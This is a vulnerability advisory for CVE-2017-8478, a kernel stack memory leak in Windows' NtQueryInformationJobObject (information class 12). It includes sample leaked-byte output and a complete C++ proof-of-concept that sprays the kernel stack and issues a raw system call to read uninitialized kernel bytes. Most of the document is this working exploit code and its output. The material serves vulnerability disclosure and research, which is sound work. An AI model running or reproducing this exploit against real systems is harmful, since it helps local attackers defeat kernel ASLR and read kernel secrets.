Windows Kernel stack memory disclosure in nt!NtQueryInformationJobObject(CVE-2017-8478)

We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 12 information class discloses portions of uninitialized kernel stack memory to user-mode clients.

The specific name of the 12 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, output sizes of 48 and 56 bytes are accepted. In both cases, 4 uninitialized kernel stack bytes are leaked at the end of the structure (at offsets of 0x2C or 0x34, respectively).

The attached proof-of-concept program demonstrates both disclosures by spraying the kernel stack with a large number of 0x41 (‘A’) marker bytes, and then calling the affected system call with infoclass=12 and the allowed output sizes. An example output is as follows:

--- cut ---
Class 12, output length 48:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
Class 12, output length 56:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

It is clearly visible here that in both responses, 4 bytes copied from ring-0 to ring-3 remained uninitialized.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.

QueryInformationJobObject_class12.cpp

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
  DWORD ReturnLength = 0;
  BYTE output[56] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("Class 12, output length 48:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("Class 12, output length 56:\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}